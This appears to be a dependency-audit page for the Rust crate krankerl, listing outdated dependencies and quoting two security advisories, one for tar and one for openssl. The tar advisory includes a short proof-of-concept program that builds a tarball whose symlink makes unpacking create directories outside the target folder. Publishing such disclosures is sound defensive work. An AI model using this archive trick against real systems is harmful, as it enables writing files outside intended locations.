This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate krankerl

Dependencies

(23 total, 12 outdated, 2 possibly insecure)

CrateRequiredLatestStatus
 base64^0.90.22.1out of date
 composer^0.10.2.1out of date
 docopt^1.01.1.1up to date
 failure^0.1.20.1.8up to date
 flate2^1.01.1.2up to date
 futures^0.10.3.31out of date
 globset^0.4.20.4.16up to date
 hex^0.30.4.3out of date
 indicatif^0.9.00.18.0out of date
 nextcloud_appinfo^0.3.00.6.0out of date
 nextcloud_appsignature^0.3.00.7.1out of date
 nextcloud_appstore^0.4.00.8.0out of date
 npm_scripts^0.1.20.2.0out of date
 openssl ⚠️^0.100.10.73maybe insecure
 pathdiff^0.1.00.2.3out of date
 serde^1.01.0.219up to date
 serde_derive^1.01.0.219up to date
 serde_json^1.01.0.140up to date
 tar ⚠️^0.4.160.4.44maybe insecure
 tokio-core^0.10.1.18up to date
 toml^0.4.60.8.23out of date
 walkdir^2.2.52.5.0up to date
 xdg^2.1.03.0.0out of date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 fs_extra^1.1.01.3.0up to date
 tempdir^0.30.3.7up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

openssl: Use-After-Free in `Md::fetch` and `Cipher::fetch`

RUSTSEC-2025-0022

When a Some(...) value was passed to the properties argument of either of these functions, a use-after-free would result.

In practice this would nearly always result in OpenSSL treating the properties as an empty string (due to CString::drop's behavior).

The maintainers thank quitbug for reporting this vulnerability to us.